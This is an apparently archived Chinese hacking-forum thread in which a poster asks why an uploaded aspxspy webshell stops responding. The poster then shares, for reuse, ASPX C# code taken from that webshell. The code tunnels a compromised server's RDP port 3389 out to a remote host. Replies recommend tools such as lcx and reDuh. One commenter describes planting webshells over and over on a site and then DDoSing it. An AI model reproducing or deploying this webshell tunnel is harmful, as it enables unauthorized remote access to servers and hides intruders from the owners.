今天遇到一个问题,使用aspxspy 只要访问超过两次请求,就无法访问了,提示页面找不到,使用菜刀查看,发现shell 还在上面没有被删,很是悲剧。不知道这个是什么神器在起作用。还请各位高手、神人指点,谢谢了。

想使用一下aspxspy的转发功能,因此将aspxspy中的端口转发功能,进行了提取,代码如下:

<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1f.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">

public string localip = "127.0.0.1";
public string localport="3389";
public string remoteip= "192.168.11.89";
public string remoteport = "600";

public NetworkStream NS=null;
public NetworkStream NS1=null;
TcpClient tcp=new TcpClient();
TcpClient zvxm=new TcpClient();
ArrayList IVc=new ArrayList();
protected void Page_load(object sender,EventArgs e)
{


try{

ruQO();
}catch(Exception exp)
{
   Response.Write("except "+exp.Message);
}


}

public class PortForward
{
public string Localaddress;
public int LocalPort;
public string RemoteAddress;
public int RemotePort;
string type;
Socket ltcpClient;
Socket rtcpClient;
Socket server;
byte[] DPrPL=new byte[2048];
byte[] wvZv=new byte[2048];
public struct session
{
public Socket rdel;
public Socket ldel;
public int llen;
public int rlen;
}
public static IPEndPoint mtJ(string host,int port)
{
IPEndPoint iep=null;
IPHostEntry aGN=Dns.Resolve(host);
IPAddress rmt=aGN.AddressList[0];
iep=new IPEndPoint(rmt,port);
return iep;
}
public void Start(string Rip,int Rport,string lip,int lport)
{
try
{
LocalPort=lport;
RemoteAddress=Rip;
RemotePort=Rport;
Localaddress=lip;
rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
 ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
 rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
 }
catch (Exception ex) { }
}
protected void iiGFO(IAsyncResult ar)
{
try
{
session RKXy=new session();
RKXy.ldel=ltcpClient;
RKXy.rdel=rtcpClient;
ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
 }
catch (Exception ex) { }
}
protected void VTp(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
ltcpClient.EndConnect(ar);
RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
 RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
 }
catch (Exception ex) { }
}
private void LFYM(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
int Ret=RKXy.rdel.EndReceive(ar);
if (Ret>0)
ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
 else lyTOK();
}
catch (Exception ex) { }
}
private void JTcp(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
RKXy.ldel.EndSend(ar);
RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
 }
catch (Exception ex) { }
}
private void xPS(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
int Ret=RKXy.ldel.EndReceive(ar);
if (Ret>0)
RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
else lyTOK();
}
catch (Exception ex) { }
}
private void IZU(IAsyncResult ar)
{
try
{
session RKXy=(session)ar.AsyncState;
RKXy.rdel.EndSend(ar);
RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
 }
catch (Exception ex) { }
}
public void lyTOK()
{
try
{
if (ltcpClient!=null)
{
ltcpClient.Close();
}
if (rtcpClient!=null)
rtcpClient.Close();
}
catch (Exception ex) { }
}
}
protected void vuou()
{
PortForward gYP=new PortForward();
gYP.lyTOK();
}
protected void ruQO()
{
PortForward gYP=new PortForward();
gYP.Start(remoteip,int.Parse(remoteport),localip,int.Parse(localport));
}
</script>

记录在这里,希望以后还会用到。

注:对大牛的代码未作任何修改仅是提取,希望没有侵权。

[原文地址]

相关讨论:

1#

在路上 | 2013-12-22 15:28

@wefgod @一只猿 求各位大牛 解答呀 谢谢了

2#

YY-2012 (收购WB价格1:6无限量收购请加609496288) | 2013-12-22 15:34

权限大的话,试过使用asp的shell运行lcx.exe成功转发

3#

在路上 | 2013-12-22 16:11

@YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012 嗯 对 lcx很神奇开辟了 转发的先河。 我现在的主要问题是,扔上去一个webshell,访问两次,在访问就提示找不到该文件了,但是我使用菜刀看到文件还在。我修改webshell的文件名,仍然访问不了... 因此才改了这个转发,让访问一次就可以了。不知道 有哪位牛 遇到过类似情况,主要想知道这是什么机制,感觉很有意思 呵呵

4#

Mujj (从前,有个主席姓Xi,后来,就再也没有"除Xi夜") | 2013-12-22 16:12

reduh

5#

在路上 | 2013-12-22 16:45

@Mujj 总是感觉这个玩意好慢 呵呵 用了几次 都没有成功过 不到万不得已 还是不用他... 一个单纯的aspx端口转发就可以了

6#

Royal. | 2013-12-22 17:11

@在路上 负载均衡?

7#

wefgod (求大牛指点) | 2013-12-23 09:24

lcx用不了?你这情况太诡异了吧,居然还提示找不到文件?是CDN吗

8#

wefgod (求大牛指点) | 2013-12-23 09:25

你看看每次看到的IP是否都一样吧

9#

qiaoy (但我不能为这离开我的祖国) | 2013-12-23 11:30

应该是CDN,用这个ping一下试试:

http://ping.chinaz.com/

留言评论(旧系统):

西门吹雪 @ 2013-12-23 15:29:49

是这样,写上shell以后,二个小时后,发现访问不了,漏洞没修,那个地方还可以写。只是ip地址变了。我又从新了写个一句话,发现服务器一天变化10几个ip。害得我写了10几回。后来d了一下,发现立马变化ip,还得把那个新的ip地址,放在ddos软件上。前年的时候,我把这个问题放在一个2b论坛上,上面分析不出所以然。后来网友说不是cdn,就是多重镜像,一个站源码放到多个服务器的空间上。一个域名,指向一个空间的ip,受到攻击后,或者被写入shell后,自动转向另一个机房的空间上。源码内容都是一样的。这两个机房的ip地址是一样的。好像是个什么软件装在服务器上,可以一个域名受到攻击后,自动转向另一个空间上,在受到攻击上,还会转到新的空间上。这些空间源码内容是一样的,我是彩笔,不知道这是cdn还是一种软件,啥的?

本站回复:

这个很明显不是cdn,和cdn完全没有关系,cdn只是多个反向代理,而真实的内容是不变的。 这种应该是负载均衡,或者多台服务器IP轮训,这些服务器内容都是一样的,就像网站复制了几十份,放在几十个互不相关的服务器上,然后使用DNS解析进行IP轮训、IP轮换,隔一会儿换一个,很多做非法网站的都这么干……

西门吹雪 @ 2013-12-23 15:30:55

是这样,写上shell以后,二个小时后,发现访问不了,漏洞没修,那个地方还可以写。只是ip地址变了。我又从新了写个一句话,发现服务器一天变化10几个ip。害得我写了10几回。后来d了一下,发现立马变化ip,还得把那个新的ip地址,放在ddos软件上。前年的时候,我把这个问题放在一个2b论坛上,上面分析不出所以然。后来网友说不是cdn,就是多重镜像,一个站源码放到多个服务器的空间上。一个域名,指向一个空间的ip,受到攻击后,或者被写入shell后,自动转向另一个机房的空间上。源码内容都是一样的。这两个机房的ip地址是一样的。好像是个什么软件装在服务器上,可以一个域名受到攻击后,自动转向另一个空间上,在受到攻击上,还会转到新的空间上。这些空间源码内容是一样的,我是彩笔,不知道这是cdn还是一种软件,啥的?

本站回复:

这个很明显不是cdn,和cdn完全没有关系,cdn只是多个反向代理,而真实的内容是不变的。 这种应该是负载均衡,或者多台服务器IP轮训,这些服务器内容都是一样的,就像网站复制了几十份,放在几十个互不相关的服务器上,然后使用DNS解析进行IP轮训、IP轮换,隔一会儿换一个,很多做非法网站的都这么干……

西门吹雪 @ 2013-12-23 15:33:17

更正一下;内容都是一样的。这两个机房的ip地址是不一样的,所指向的ip地址,没有重复的

本站回复:

这个很明显不是cdn,和cdn完全没有关系,cdn只是多个反向代理,而真实的内容是不变的。 这种应该是负载均衡,或者多台服务器IP轮训,这些服务器内容都是一样的,就像网站复制了几十份,放在几十个互不相关的服务器上,然后使用DNS解析进行IP轮训、IP轮换,隔一会儿换一个,很多做非法网站的都这么干……